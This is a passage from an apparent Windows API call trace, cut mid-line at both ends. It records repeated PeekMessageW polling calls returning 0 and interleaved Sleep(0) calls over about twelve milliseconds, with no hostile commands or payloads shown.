lpMsg=0x26a4a5f4c0) returned 0 [0036.029] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.034] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.034] Sleep (dwMilliseconds=0x0) [0036.034] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.034] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.034] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.034] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.034] Sleep (dwMilliseconds=0x0) [0036.035] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.035] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.035] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.035] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.035] Sleep (dwMilliseconds=0x0) [0036.035] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.035] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.035] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.035] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.035] Sleep (dwMilliseconds=0x0) [0036.035] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.035] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.036] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.036] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.036] Sleep (dwMilliseconds=0x0) [0036.036] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.036] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.036] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.036] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.036] Sleep (dwMilliseconds=0x0) [0036.036] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.036] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.036] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.036] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.036] Sleep (dwMilliseconds=0x0) [0036.036] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.037] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.037] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.037] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.037] Sleep (dwMilliseconds=0x0) [0036.037] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.037] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.037] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.037] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.037] Sleep (dwMilliseconds=0x0) [0036.037] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.037] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.037] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.037] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.037] Sleep (dwMilliseconds=0x0) [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] Sleep (dwMilliseconds=0x0) [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.038] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.039] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.040] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 